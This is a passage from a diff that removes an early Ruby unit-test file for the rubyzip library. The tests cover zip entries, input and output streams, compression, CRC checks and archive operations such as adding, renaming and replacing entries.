end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - 